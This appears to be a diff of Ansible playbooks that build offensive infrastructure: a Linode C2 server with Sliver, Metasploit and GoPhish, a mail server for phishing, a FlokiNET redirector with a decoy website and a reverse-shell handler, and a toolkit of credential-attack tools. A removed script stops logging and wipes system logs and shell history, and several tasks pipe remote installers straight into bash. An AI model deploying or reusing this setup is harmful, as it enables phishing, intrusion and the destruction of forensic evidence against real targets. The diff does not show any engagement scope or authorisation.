timeout: 60
|
||||||
|
state: started
|
||||||
|
ignore_errors: true
|
||||||
|
|
||||||
|
- name: Provision FlokiNET redirector
|
||||||
|
hosts: redirectors
|
||||||
|
become: true
|
||||||
gather_facts: true
|
gather_facts: true
|
||||||
vars_files:
|
vars_files:
|
||||||
- vars.yaml
|
- vars.yaml
|
||||||
tasks:
|
tasks:
|
||||||
- name: Install Nginx and required packages
|
- name: Wait for apt to be available
|
||||||
ansible.builtin.apt:
|
apt:
|
||||||
|
update_cache: yes
|
||||||
|
register: apt_result
|
||||||
|
until: apt_result is success
|
||||||
|
retries: 5
|
||||||
|
delay: 10
|
||||||
|
|
||||||
|
- name: Set hostname
|
||||||
|
hostname:
|
||||||
|
name: "redirector"
|
||||||
|
|
||||||
|
- name: Update apt cache
|
||||||
|
apt:
|
||||||
|
update_cache: yes
|
||||||
|
|
||||||
|
- name: Upgrade all packages
|
||||||
|
apt:
|
||||||
|
upgrade: dist
|
||||||
|
|
||||||
|
- name: Install base security packages
|
||||||
|
apt:
|
||||||
name:
|
name:
|
||||||
- nginx
|
- apt-transport-https
|
||||||
- certbot
|
- ca-certificates
|
||||||
- python3-certbot-nginx
|
- curl
|
||||||
- socat
|
- gnupg
|
||||||
- netcat-openbsd
|
- lsb-release
|
||||||
- cryptsetup
|
- unattended-upgrades
|
||||||
|
- ufw
|
||||||
|
- fail2ban
|
||||||
- secure-delete
|
- secure-delete
|
||||||
- jq
|
|
||||||
state: present
|
state: present
|
||||||
become: true
|
|
||||||
|
|
||||||
- name: Add UFW rules for redirector
|
- name: Include common security hardening tasks
|
||||||
ansible.builtin.ufw:
|
include_tasks: "../tasks/security_hardening.yml"
|
||||||
rule: allow
|
|
||||||
port: "{{ item }}"
|
|
||||||
proto: tcp
|
|
||||||
with_items:
|
|
||||||
- 80
|
|
||||||
- 443
|
|
||||||
- "{{ shell_handler_port }}"
|
|
||||||
become: true
|
|
||||||
|
|
||||||
- name: Setup directory for shell handler
|
- name: Include common redirector configuration tasks
|
||||||
ansible.builtin.file:
|
include_tasks: "../tasks/configure_redirector.yml"
|
||||||
path: /opt/shell-handler
|
|
||||||
state: directory
|
|
||||||
mode: '0700'
|
|
||||||
owner: root
|
|
||||||
group: root
|
|
||||||
become: true
|
|
||||||
|
|
||||||
- name: Copy shell handler script
|
- name: Print deployment summary
|
||||||
ansible.builtin.copy:
|
debug:
|
||||||
src: "../files/persistent-listener.sh"
|
|
||||||
dest: "/opt/shell-handler/persistent-listener.sh"
|
|
||||||
mode: '0700'
|
|
||||||
owner: root
|
|
||||||
group: root
|
|
||||||
become: true
|
|
||||||
|
|
||||||
- name: Configure shell handler service
|
|
||||||
ansible.builtin.template:
|
|
||||||
src: templates/shell-handler.service.j2
|
|
||||||
dest: /etc/systemd/system/shell-handler.service
|
|
||||||
owner: root
|
|
||||||
group: root
|
|
||||||
mode: '0644'
|
|
||||||
become: true
|
|
||||||
|
|
||||||
- name: Configure NGINX for zero-logging
|
|
||||||
ansible.builtin.template:
|
|
||||||
src: templates/nginx.conf.j2
|
|
||||||
dest: /etc/nginx/nginx.conf
|
|
||||||
owner: root
|
|
||||||
group: root
|
|
||||||
mode: '0644'
|
|
||||||
become: true
|
|
||||||
|
|
||||||
- name: Configure NGINX default site for C2 redirection
|
|
||||||
ansible.builtin.template:
|
|
||||||
src: templates/default-site.j2
|
|
||||||
dest: /etc/nginx/sites-available/default
|
|
||||||
owner: root
|
|
||||||
group: root
|
|
||||||
mode: '0644'
|
|
||||||
vars:
|
|
||||||
domain: "{{ redirector_subdomain }}.{{ domain }}"
|
|
||||||
c2_host: "{{ c2_ip }}"
|
|
||||||
become: true
|
|
||||||
|
|
||||||
- name: Create index.html for legitimate-looking website
|
|
||||||
ansible.builtin.template:
|
|
||||||
src: templates/index.html.j2
|
|
||||||
dest: /var/www/html/index.html
|
|
||||||
owner: www-data
|
|
||||||
group: www-data
|
|
||||||
mode: '0644'
|
|
||||||
become: true
|
|
||||||
|
|
||||||
- name: Start and enable shell handler service
|
|
||||||
ansible.builtin.systemd:
|
|
||||||
name: shell-handler
|
|
||||||
state: started
|
|
||||||
enabled: yes
|
|
||||||
daemon_reload: yes
|
|
||||||
become: true
|
|
||||||
|
|
||||||
- name: Install Let's Encrypt certificate if domain specified
|
|
||||||
ansible.builtin.command: >
|
|
||||||
certbot --nginx -d {{ redirector_subdomain }}.{{ domain }} --non-interactive --agree-tos -m {{ letsencrypt_email }}
|
|
||||||
args:
|
|
||||||
creates: /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/fullchain.pem
|
|
||||||
become: true
|
|
||||||
when: domain != "example.com"
|
|
||||||
|
|
||||||
- name: Restart Nginx
|
|
||||||
ansible.builtin.service:
|
|
||||||
name: nginx
|
|
||||||
state: restarted
|
|
||||||
become: true
|
|
||||||
|
|
||||||
- name: Display redirector setup information
|
|
||||||
ansible.builtin.debug:
|
|
||||||
msg:
|
msg:
|
||||||
- "Redirector setup completed!"
|
- "Redirector Configuration Complete!"
|
||||||
- "IP Address: {{ ansible_host }}"
|
- "---------------------------------"
|
||||||
- "Domain: {{ redirector_subdomain }}.{{ domain }}"
|
- "Redirector IP: {{ ansible_host }}"
|
||||||
- "Shell Handler Port: {{ shell_handler_port }}"
|
- "Redirector Domain: {{ redirector_subdomain }}.{{ domain }} (Update DNS A record)"
|
||||||
|
- "Shell Handler Port: {{ shell_handler_port }}"
|
||||||
|
when: not disable_summary | default(false)
|
||||||
@@ -1,355 +0,0 @@
|
|||||||
---
|
|
||||||
- name: Create and configure Linode instance for C2 Server
|
|
||||||
hosts: localhost
|
|
||||||
gather_facts: false
|
|
||||||
connection: local
|
|
||||||
vars_files:
|
|
||||||
- vars.yaml
|
|
||||||
tasks:
|
|
||||||
- name: Select a random region
|
|
||||||
set_fact:
|
|
||||||
selected_region: "{{ region_choices | random }}"
|
|
||||||
|
|
||||||
- name: Create Linode instance
|
|
||||||
community.general.linode_v4:
|
|
||||||
access_token: "{{ linode_token }}"
|
|
||||||
label: "{{ instance_label }}"
|
|
||||||
type: "{{ plan }}"
|
|
||||||
region: "{{ selected_region }}"
|
|
||||||
image: "{{ image }}"
|
|
||||||
root_pass: "{{ lookup('password', '/dev/null length=16') }}"
|
|
||||||
authorized_keys:
|
|
||||||
- "{{ lookup('file', ssh_key_path) }}"
|
|
||||||
state: present
|
|
||||||
register: linode_instance
|
|
||||||
|
|
||||||
- name: Wait for Linode instance to be reachable
|
|
||||||
wait_for:
|
|
||||||
host: "{{ linode_instance.instance.ipv4[0] }}"
|
|
||||||
port: 22
|
|
||||||
delay: 30
|
|
||||||
timeout: 600
|
|
||||||
state: started
|
|
||||||
|
|
||||||
- name: Add Linode instance to inventory
|
|
||||||
add_host:
|
|
||||||
name: "{{ instance_label }}"
|
|
||||||
ansible_host: "{{ linode_instance.instance.ipv4[0] }}"
|
|
||||||
ansible_user: root
|
|
||||||
ansible_ssh_private_key_file: "{{ ssh_key_path | replace('.pub', '') }}"
|
|
||||||
|
|
||||||
- name: Secure and configure C2 server
|
|
||||||
hosts: "{{ instance_label }}"
|
|
||||||
gather_facts: true
|
|
||||||
tasks:
|
|
||||||
- name: Disable root password authentication for SSH immediately
|
|
||||||
ansible.builtin.lineinfile:
|
|
||||||
path: /etc/ssh/sshd_config
|
|
||||||
regexp: '^#?PasswordAuthentication'
|
|
||||||
line: 'PasswordAuthentication no'
|
|
||||||
state: present
|
|
||||||
|
|
||||||
- name: Restart SSH service to apply root password login restriction
|
|
||||||
ansible.builtin.service:
|
|
||||||
name: ssh
|
|
||||||
state: restarted
|
|
||||||
|
|
||||||
- name: Update apt package list
|
|
||||||
ansible.builtin.apt:
|
|
||||||
update_cache: yes
|
|
||||||
|
|
||||||
- name: Set a custom MOTD
|
|
||||||
template:
|
|
||||||
src: motd-linode.j2
|
|
||||||
dest: /etc/motd
|
|
||||||
owner: root
|
|
||||||
group: root
|
|
||||||
mode: '0644'
|
|
||||||
vars:
|
|
||||||
letsencrypt_email: "{{ letsencrypt_email }}"
|
|
||||||
mail_hostname: "{{ mail_hostname }}"
|
|
||||||
domain: "{{ domain }}"
|
|
||||||
gophish_admin_domain: "{{ gophish_admin_domain }}"
|
|
||||||
gophish_site_domain: "{{ gophish_site_domain }}"
|
|
||||||
|
|
||||||
- name: Hush Default Login Message
|
|
||||||
ansible.builtin.shell: |
|
|
||||||
rm -rf '/usr/bin/kali-motd'
|
|
||||||
|
|
||||||
- name: Install base utilities and tools via apt
|
|
||||||
ansible.builtin.apt:
|
|
||||||
name:
|
|
||||||
- git
|
|
||||||
- wget
|
|
||||||
- curl
|
|
||||||
- unzip
|
|
||||||
- python3-pip
|
|
||||||
- python3-venv
|
|
||||||
- tmux
|
|
||||||
- pipx
|
|
||||||
- nmap
|
|
||||||
- tcpdump
|
|
||||||
- hydra
|
|
||||||
- john
|
|
||||||
- hashcat
|
|
||||||
- sqlmap
|
|
||||||
- gobuster
|
|
||||||
- dirb
|
|
||||||
- enum4linux
|
|
||||||
- dnsenum
|
|
||||||
- seclists
|
|
||||||
- responder
|
|
||||||
- golang
|
|
||||||
- proxychains
|
|
||||||
- tor
|
|
||||||
- crackmapexec
|
|
||||||
- jq
|
|
||||||
- unzip
|
|
||||||
- postfix
|
|
||||||
- certbot
|
|
||||||
- opendkim
|
|
||||||
- opendkim-tools
|
|
||||||
- dovecot-core
|
|
||||||
- dovecot-imapd
|
|
||||||
- dovecot-pop3d
|
|
||||||
- dovecot-sieve
|
|
||||||
- dovecot-managesieved
|
|
||||||
- yq
|
|
||||||
state: present
|
|
||||||
|
|
||||||
- name: Ensure pipx path is configured
|
|
||||||
ansible.builtin.shell: |
|
|
||||||
pipx ensurepath
|
|
||||||
args:
|
|
||||||
executable: /bin/bash
|
|
||||||
|
|
||||||
- name: Install tools via pipx
|
|
||||||
ansible.builtin.shell: |
|
|
||||||
export PATH=$PATH:/root/.local/bin
|
|
||||||
pipx ensurepath
|
|
||||||
pipx install git+https://github.com/Pennyw0rth/NetExec
|
|
||||||
pipx install git+https://github.com/blacklanternsecurity/TREVORspray
|
|
||||||
pipx install impacket
|
|
||||||
args:
|
|
||||||
executable: /bin/bash
|
|
||||||
|
|
||||||
- name: Download Kerbrute
|
|
||||||
ansible.builtin.shell: |
|
|
||||||
mkdir -p ~/Tools/Kerbrute
|
|
||||||
wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_amd64 -O ~/Tools/Kerbrute/kerbrute
|
|
||||||
chmod +x ~/Tools/Kerbrute/kerbrute
|
|
||||||
args:
|
|
||||||
executable: /bin/bash
|
|
||||||
|
|
||||||
- name: Clone SharpCollection nightly builds
|
|
||||||
ansible.builtin.git:
|
|
||||||
repo: https://github.com/Flangvik/SharpCollection.git
|
|
||||||
dest: ~/Tools/SharpCollection
|
|
||||||
version: master
|
|
||||||
|
|
||||||
- name: Clone PEASS-ng
|
|
||||||
ansible.builtin.git:
|
|
||||||
repo: https://github.com/carlospolop/PEASS-ng.git
|
|
||||||
dest: ~/Tools/PEASS-ng
|
|
||||||
|
|
||||||
- name: Clone MailSniper
|
|
||||||
ansible.builtin.git:
|
|
||||||
repo: https://github.com/dafthack/MailSniper.git
|
|
||||||
dest: ~/Tools/MailSniper
|
|
||||||
|
|
||||||
- name: Clone Inveigh
|
|
||||||
ansible.builtin.git:
|
|
||||||
repo: https://github.com/Kevin-Robertson/Inveigh.git
|
|
||||||
dest: ~/Tools/Inveigh
|
|
||||||
|
|
||||||
- name: Install Sliver C2 server
|
|
||||||
ansible.builtin.shell: |
|
|
||||||
curl https://sliver.sh/install | sudo bash
|
|
||||||
systemctl enable sliver
|
|
||||||
systemctl start sliver
|
|
||||||
|
|
||||||
- name: Install Metasploit Framework (Nightly Build)
|
|
||||||
ansible.builtin.shell: |
|
|
||||||
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > ~/Tools/msfinstall
|
|
||||||
chmod 755 ~/Tools/msfinstall
|
|
||||||
~/Tools/msfinstall
|
|
||||||
args:
|
|
||||||
executable: /bin/bash
|
|
||||||
|
|
||||||
- name: Grab GoPhish
|
|
||||||
ansible.builtin.shell: |
|
|
||||||
curl -L "$(curl -s https://api.github.com/repos/gophish/gophish/releases/latest | jq -r '.assets[] | select(.browser_download_url | contains("linux-64bit.zip")) | .browser_download_url')" -o ~/Tools/gophish.zip
|
|
||||||
unzip ~/Tools/gophish.zip -d ~/Tools/gophish
|
|
||||||
rm -rf ~/Tools/gophish.zip
|
|
||||||
chmod +x ~/Tools/gophish
|
|
||||||
|
|
||||||
- name: Deploy Gophish config.json with custom admin port
|
|
||||||
template:
|
|
||||||
src: gophish-config.j2
|
|
||||||
dest: ~/Tools/gophish/config.json
|
|
||||||
owner: root
|
|
||||||
group: root
|
|
||||||
mode: '0644'
|
|
||||||
vars:
|
|
||||||
gophish_admin_port: "{{ gophish_admin_port }}"
|
|
||||||
domain: "{{ domain }}"
|
|
||||||
|
|
||||||
- name: Configure Postfix main.cf
|
|
||||||
lineinfile:
|
|
||||||
path: /etc/postfix/main.cf
|
|
||||||
regexp: "{{ item.regexp }}"
|
|
||||||
line: "{{ item.line }}"
|
|
||||||
with_items:
|
|
||||||
- { regexp: '^myhostname', line: "myhostname = mail.{{ domain }}" }
|
|
||||||
- { regexp: '^mydomain', line: "mydomain = {{ domain }}" }
|
|
||||||
- { regexp: '^myorigin', line: "myorigin = $mydomain" }
|
|
||||||
- { regexp: '^inet_interfaces', line: "inet_interfaces = all" }
|
|
||||||
- { regexp: '^inet_protocols', line: "inet_protocols = ipv4" }
|
|
||||||
- { regexp: '^smtpd_banner', line: "smtpd_banner = $myhostname ESMTP $mail_name" }
|
|
||||||
- { regexp: '^mynetworks', line: "mynetworks = 127.0.0.0/8 [::1]/128" }
|
|
||||||
- { regexp: '^relay_domains', line: "relay_domains = $mydestination" }
|
|
||||||
- { regexp: '^smtpd_tls_cert_file', line: "smtpd_tls_cert_file = /etc/letsencrypt/live/{{ domain }}/fullchain.pem" }
|
|
||||||
- { regexp: '^smtpd_tls_key_file', line: "smtpd_tls_key_file = /etc/letsencrypt/live/{{ domain }}/privkey.pem" }
|
|
||||||
- { regexp: '^smtpd_tls_security_level', line: "smtpd_tls_security_level = encrypt" }
|
|
||||||
- { regexp: '^smtpd_tls_session_cache_database', line: "smtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scache" }
|
|
||||||
- { regexp: '^smtp_tls_session_cache_database', line: "smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache" }
|
|
||||||
- { regexp: '^smtpd_use_tls', line: "smtpd_use_tls = yes" }
|
|
||||||
- { regexp: '^smtpd_tls_auth_only', line: "smtpd_tls_auth_only = yes" }
|
|
||||||
- { regexp: '^milter_default_action', line: "milter_default_action = accept" }
|
|
||||||
- { regexp: '^milter_protocol', line: "milter_protocol = 6" }
|
|
||||||
- { regexp: '^smtpd_milters', line: "smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock" }
|
|
||||||
- { regexp: '^non_smtpd_milters', line: "non_smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock" }
|
|
||||||
|
|
||||||
- name: Configure OpenDKIM
|
|
||||||
lineinfile:
|
|
||||||
path: /etc/opendkim.conf
|
|
||||||
regexp: "{{ item.regexp }}"
|
|
||||||
line: "{{ item.line }}"
|
|
||||||
with_items:
|
|
||||||
- { regexp: '^Domain', line: "Domain {{ domain }}" }
|
|
||||||
- { regexp: '^KeyFile', line: "KeyFile /etc/opendkim/keys/{{ domain }}/mail.private" }
|
|
||||||
- { regexp: '^Selector', line: "Selector mail" }
|
|
||||||
- { regexp: '^Socket', line: "Socket local:/var/spool/postfix/opendkim/opendkim.sock" }
|
|
||||||
- { regexp: '^Syslog', line: "Syslog yes" }
|
|
||||||
- { regexp: '^UMask', line: "UMask 002" }
|
|
||||||
- { regexp: '^Mode', line: "Mode sv" }
|
|
||||||
|
|
||||||
- name: Create DKIM directory
|
|
||||||
file:
|
|
||||||
path: /etc/opendkim/keys/{{ domain }}
|
|
||||||
state: directory
|
|
||||||
owner: opendkim
|
|
||||||
group: opendkim
|
|
||||||
mode: 0700
|
|
||||||
|
|
||||||
- name: Generate DKIM keys
|
|
||||||
command: >
|
|
||||||
opendkim-genkey -D /etc/opendkim/keys/{{ domain }} -d {{ domain }} -s mail
|
|
||||||
args:
|
|
||||||
creates: /etc/opendkim/keys/{{ domain }}/mail.private
|
|
||||||
|
|
||||||
- name: Set permissions for DKIM keys
|
|
||||||
file:
|
|
||||||
path: /etc/opendkim/keys/{{ domain }}/mail.private
|
|
||||||
owner: opendkim
|
|
||||||
group: opendkim
|
|
||||||
mode: 0600
|
|
||||||
|
|
||||||
- name: Configure OpenDKIM TrustedHosts
|
|
||||||
copy:
|
|
||||||
content: |
|
|
||||||
127.0.0.1
|
|
||||||
::1
|
|
||||||
localhost
|
|
||||||
{{ domain }}
|
|
||||||
dest: /etc/opendkim/TrustedHosts
|
|
||||||
owner: opendkim
|
|
||||||
group: opendkim
|
|
||||||
mode: 0644
|
|
||||||
|
|
||||||
- name: Enable submission port (587) in master.cf
|
|
||||||
blockinfile:
|
|
||||||
path: /etc/postfix/master.cf
|
|
||||||
insertafter: '^#submission'
|
|
||||||
block: |
|
|
||||||
submission inet n - y - - smtpd
|
|
||||||
-o syslog_name=postfix/submission
|
|
||||||
-o smtpd_tls_security_level=encrypt
|
|
||||||
-o smtpd_sasl_auth_enable=yes
|
|
||||||
-o smtpd_recipient_restrictions=permit_sasl_authenticated,reject
|
|
||||||
-o smtpd_relay_restrictions=permit_sasl_authenticated,reject
|
|
||||||
|
|
||||||
# Dovecot Configuration for SASL
|
|
||||||
- name: Configure Dovecot for Postfix SASL
|
|
||||||
blockinfile:
|
|
||||||
path: /etc/dovecot/conf.d/10-master.conf
|
|
||||||
insertafter: '^service auth {'
|
|
||||||
block: |
|
|
||||||
# Postfix smtp-auth
|
|
||||||
unix_listener /var/spool/postfix/private/auth {
|
|
||||||
mode = 0660
|
|
||||||
user = postfix
|
|
||||||
group = postfix
|
|
||||||
}
|
|
||||||
|
|
||||||
- name: Set Dovecot auth_mechanisms
|
|
||||||
lineinfile:
|
|
||||||
path: /etc/dovecot/conf.d/10-auth.conf
|
|
||||||
regexp: '^auth_mechanisms'
|
|
||||||
line: 'auth_mechanisms = plain login'
|
|
||||||
|
|
||||||
- name: Create Dovecot password file for SASL authentication
|
|
||||||
file:
|
|
||||||
path: /etc/dovecot/passwd
|
|
||||||
state: touch
|
|
||||||
mode: '0600'
|
|
||||||
owner: dovecot
|
|
||||||
group: dovecot
|
|
||||||
|
|
||||||
- name: Add SMTP auth user to Dovecot
|
|
||||||
lineinfile:
|
|
||||||
path: /etc/dovecot/passwd
|
|
||||||
line: "{{ smtp_auth_user }}:{{ smtp_auth_pass | password_hash('sha512_crypt') }}"
|
|
||||||
|
|
||||||
- name: Disable system auth and use passwd-file
|
|
||||||
lineinfile:
|
|
||||||
path: /etc/dovecot/conf.d/10-auth.conf
|
|
||||||
regexp: '^!include auth-system.conf.ext'
|
|
||||||
line: '#!include auth-system.conf.ext'
|
|
||||||
|
|
||||||
- name: Add auth-passwdfile configuration
|
|
||||||
blockinfile:
|
|
||||||
path: /etc/dovecot/conf.d/10-auth.conf
|
|
||||||
insertafter: '^auth_mechanisms ='
|
|
||||||
block: |
|
|
||||||
passdb {
|
|
||||||
driver = passwd-file
|
|
||||||
args = scheme=sha512_crypt /etc/dovecot/passwd
|
|
||||||
}
|
|
||||||
userdb {
|
|
||||||
driver = static
|
|
||||||
args = uid=vmail gid=vmail home=/var/vmail/%u
|
|
||||||
}
|
|
||||||
|
|
||||||
- name: Create vmail user/group
|
|
||||||
group:
|
|
||||||
name: vmail
|
|
||||||
gid: 5000
|
|
||||||
state: present
|
|
||||||
|
|
||||||
- name: Create vmail user
|
|
||||||
user:
|
|
||||||
name: vmail
|
|
||||||
uid: 5000
|
|
||||||
group: vmail
|
|
||||||
create_home: no
|
|
||||||
|
|
||||||
- name: Restart Postfix
|
|
||||||
service:
|
|
||||||
name: postfix
|
|
||||||
state: restarted
|
|
||||||
|
|
||||||
- name: Restart Dovecot
|
|
||||||
service:
|
|
||||||
name: dovecot
|
|
||||||
state: restarted
|
|
||||||
+78
-307
@@ -1,341 +1,112 @@
|
|||||||
---
|
---
|
||||||
|
# Linode C2 Deployment Playbook
|
||||||
|
|
||||||
- name: Deploy Linode C2 server
|
- name: Deploy Linode C2 server
|
||||||
hosts: localhost
|
hosts: localhost
|
||||||
gather_facts: false
|
gather_facts: false
|
||||||
connection: local
|
connection: local
|
||||||
|
vars_files:
|
||||||
|
- vars.yaml
|
||||||
vars:
|
vars:
|
||||||
region: "{{ linode_region | default('us-east') }}"
|
# Default values for required variables
|
||||||
instance_type: "{{ size | default('g6-standard-1') }}"
|
ssh_user: "{{ ssh_user | default('root') }}"
|
||||||
instance_name: "{{ c2_name | default('c2') }}"
|
linode_region: "{{ linode_region | default(region_choices | random) }}"
|
||||||
domain: "{{ domain | default('example.com') }}"
|
plan: "{{ plan | default('g6-standard-1') }}"
|
||||||
c2_subdomain: "mail"
|
image: "{{ image | default('linode/debian11') }}"
|
||||||
linode_image: "linode/debian11"
|
|
||||||
|
# Generate random instance name if not provided
|
||||||
|
c2_name: "{{ c2_name | default('node-' + 9999999999 | random | to_uuid | hash('md5') | truncate(8, True, '')) }}"
|
||||||
|
|
||||||
tasks:
|
tasks:
|
||||||
- name: Create Linode C2 instance
|
- name: Validate required Linode token
|
||||||
|
assert:
|
||||||
|
that:
|
||||||
|
- linode_token is defined and linode_token != ""
|
||||||
|
fail_msg: "Linode API token is required. Set linode_token in vars.yaml or via --linode-token."
|
||||||
|
|
||||||
|
- name: Create C2 Linode instance
|
||||||
community.general.linode_v4:
|
community.general.linode_v4:
|
||||||
label: "{{ instance_name }}"
|
access_token: "{{ linode_token }}"
|
||||||
type: "{{ instance_type }}"
|
label: "{{ c2_name }}"
|
||||||
region: "{{ region }}"
|
type: "{{ plan }}"
|
||||||
image: "{{ linode_image }}"
|
region: "{{ linode_region }}"
|
||||||
|
image: "{{ image }}"
|
||||||
root_pass: "{{ lookup('password', '/dev/null length=24 chars=ascii_letters,digits') }}"
|
root_pass: "{{ lookup('password', '/dev/null length=24 chars=ascii_letters,digits') }}"
|
||||||
authorized_keys:
|
authorized_keys:
|
||||||
- "{{ lookup('file', ssh_key) }}"
|
- "{{ lookup('file', ssh_key_path) }}"
|
||||||
state: present
|
state: present
|
||||||
register: c2_instance
|
register: c2_instance
|
||||||
|
|
||||||
- name: Save C2 IP
|
- name: Set c2_ip for later use
|
||||||
set_fact:
|
set_fact:
|
||||||
c2_ip: "{{ c2_instance.instance.ipv4[0] }}"
|
c2_ip: "{{ c2_instance.instance.ipv4[0] }}"
|
||||||
|
c2_instance_id: "{{ c2_instance.instance.id }}"
|
||||||
|
|
||||||
- name: Wait for SSH to become available
|
- name: Wait for C2 SSH to be available
|
||||||
wait_for:
|
wait_for:
|
||||||
host: "{{ c2_ip }}"
|
host: "{{ c2_ip }}"
|
||||||
port: 22
|
port: 22
|
||||||
delay: 10
|
delay: 30
|
||||||
timeout: 300
|
timeout: 300
|
||||||
state: started
|
state: started
|
||||||
|
|
||||||
- name: Add C2 server to inventory
|
- name: Add C2 to inventory
|
||||||
add_host:
|
add_host:
|
||||||
name: c2
|
name: "c2"
|
||||||
|
groups: "c2servers"
|
||||||
ansible_host: "{{ c2_ip }}"
|
ansible_host: "{{ c2_ip }}"
|
||||||
ansible_user: "{{ ssh_user | default('root') }}"
|
ansible_user: "{{ ssh_user }}"
|
||||||
ansible_ssh_private_key_file: "{{ ssh_key | replace('.pub', '') }}"
|
ansible_ssh_private_key_file: "{{ ssh_key_path | replace('.pub', '') }}"
|
||||||
groups: c2servers
|
ansible_ssh_common_args: "-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null"
|
||||||
|
|
||||||
- name: Configure C2 server
|
- name: Configure C2 server
|
||||||
hosts: c2servers
|
hosts: c2servers
|
||||||
become: true
|
become: true
|
||||||
|
gather_facts: true
|
||||||
|
vars_files:
|
||||||
|
- vars.yaml
|
||||||
vars:
|
vars:
|
||||||
domain: "{{ domain | default('example.com') }}"
|
redirector_ip: "{{ redirector_ip | default('127.0.0.1') }}"
|
||||||
c2_subdomain: "mail"
|
c2_subdomain: "{{ c2_subdomain | default('mail') }}"
|
||||||
letsencrypt_email: "{{ letsencrypt_email | default('admin@example.com') }}"
|
|
||||||
zero_logs: "{{ zero_logs | default(true) }}"
|
|
||||||
redirector_ip: "{{ hostvars['localhost']['redirector_ip'] | default('127.0.0.1') }}"
|
|
||||||
|
|
||||||
tasks:
|
tasks:
|
||||||
- name: Update apt cache
|
- name: Wait for apt to be available
|
||||||
apt:
|
apt:
|
||||||
update_cache: yes
|
update_cache: yes
|
||||||
|
register: apt_result
|
||||||
- name: Install required packages
|
until: apt_result is success
|
||||||
apt:
|
retries: 5
|
||||||
name:
|
delay: 10
|
||||||
- git
|
|
||||||
- wget
|
- name: Disable root password authentication for SSH immediately
|
||||||
- curl
|
lineinfile:
|
||||||
- python3-pip
|
path: /etc/ssh/sshd_config
|
||||||
- golang
|
regexp: '^#?PasswordAuthentication'
|
||||||
- tmux
|
line: 'PasswordAuthentication no'
|
||||||
- nmap
|
|
||||||
- jq
|
|
||||||
- secure-delete
|
|
||||||
- socat
|
|
||||||
state: present
|
state: present
|
||||||
|
|
||||||
|
- name: Restart SSH service to apply changes
|
||||||
|
service:
|
||||||
|
name: ssh
|
||||||
|
state: restarted
|
||||||
|
|
||||||
- name: Create directories for C2 operation
|
- name: Include common tool installation tasks
|
||||||
file:
|
include_tasks: "../tasks/install_tools.yml"
|
||||||
path: "{{ item }}"
|
|
||||||
state: directory
|
- name: Include common C2 configuration tasks
|
||||||
mode: '0700'
|
include_tasks: "../tasks/configure_c2.yml"
|
||||||
owner: root
|
|
||||||
group: root
|
- name: Include common security hardening tasks
|
||||||
with_items:
|
include_tasks: "../tasks/security_hardening.yml"
|
||||||
- /opt/c2
|
|
||||||
- /opt/beacons
|
- name: Include common mail server configuration tasks
|
||||||
- /opt/payloads
|
include_tasks: "../tasks/configure_mail.yml"
|
||||||
|
|
||||||
- name: Create clean-logs.sh script
|
- name: Print deployment summary
|
||||||
copy:
|
debug:
|
||||||
content: |
|
msg:
|
||||||
#!/bin/bash
|
- "C2 Server Deployment Complete!"
|
||||||
# Zero-logs maintenance script
|
- "-----------------------------"
|
||||||
umask 077
|
- "C2 Server IP: {{ ansible_host }}"
|
||||||
|
- "C2 Server Domain: {{ c2_subdomain }}.{{ domain }} (Update DNS A record)"
|
||||||
# Disable syslog temporarily
|
- "GoPhish Admin Port: {{ gophish_admin_port }}"
|
||||||
systemctl stop rsyslog 2>/dev/null
|
when: not disable_summary | default(false)
|
||||||
systemctl stop systemd-journald 2>/dev/null
|
|
||||||
|
|
||||||
# Clear system logs
|
|
||||||
find /var/log -type f -name "*.log" -exec truncate -s 0 {} \;
|
|
||||||
find /var/log -type f -name "auth.log*" -exec truncate -s 0 {} \;
|
|
||||||
find /var/log -type f -name "syslog*" -exec truncate -s 0 {} \;
|
|
||||||
journalctl --vacuum-time=1s 2>/dev/null
|
|
||||||
|
|
||||||
# Clear bash history
|
|
||||||
for histfile in /root/.bash_history /home/*/.bash_history; do
|
|
||||||
[ -f "$histfile" ] && cat /dev/null > "$histfile" 2>/dev/null
|
|
||||||
done
|
|
||||||
history -c
|
|
||||||
|
|
||||||
# Clear Sliver logs
|
|
||||||
find /root/.sliver/logs -type f -exec cat /dev/null > {} \; 2>/dev/null
|
|
||||||
|
|
||||||
# Clear temporary directories
|
|
||||||
rm -rf /tmp/* /var/tmp/* 2>/dev/null
|
|
||||||
|
|
||||||
# Restart logging services
|
|
||||||
systemctl start systemd-journald 2>/dev/null
|
|
||||||
systemctl start rsyslog 2>/dev/null
|
|
||||||
|
|
||||||
echo "[+] Log cleaning complete"
|
|
||||||
exit 0
|
|
||||||
dest: /opt/c2/clean-logs.sh
|
|
||||||
mode: '0700'
|
|
||||||
owner: root
|
|
||||||
group: root
|
|
||||||
|
|
||||||
- name: Create secure-exit.sh script
|
|
||||||
copy:
|
|
||||||
content: |
|
|
||||||
#!/bin/bash
|
|
||||||
# Secure cleanup script
|
|
||||||
|
|
||||||
# Configuration
|
|
||||||
SECURE_DELETE_PASSES=7
|
|
||||||
MEMORY_WIPE=true
|
|
||||||
|
|
||||||
# Set secure umask
|
|
||||||
umask 077
|
|
||||||
|
|
||||||
# Function to securely delete files
|
|
||||||
secure_delete() {
|
|
||||||
local target=$1
|
|
||||||
echo "[+] Securely deleting: $target"
|
|
||||||
|
|
||||||
if command -v srm > /dev/null; then
|
|
||||||
srm -vzf $target 2>/dev/null
|
|
||||||
elif command -v shred > /dev/null; then
|
|
||||||
shred -vzfn $SECURE_DELETE_PASSES $target 2>/dev/null
|
|
||||||
else
|
|
||||||
# Fallback to dd if specialized tools aren't available
|
|
||||||
dd if=/dev/urandom of=$target bs=1M count=10 conv=notrunc 2>/dev/null
|
|
||||||
dd if=/dev/zero of=$target bs=1M count=10 conv=notrunc 2>/dev/null
|
|
||||||
rm -f $target 2>/dev/null
|
|
||||||
fi
|
|
||||||
}
|
|
||||||
|
|
||||||
echo "[+] Beginning secure exit procedure..."
|
|
||||||
|
|
||||||
# Stop all operational services
|
|
||||||
echo "[+] Stopping operational services..."
|
|
||||||
services=("sliver")
|
|
||||||
for service in "${services[@]}"; do
|
|
||||||
systemctl stop $service 2>/dev/null
|
|
||||||
done
|
|
||||||
|
|
||||||
# Kill any remaining operational processes
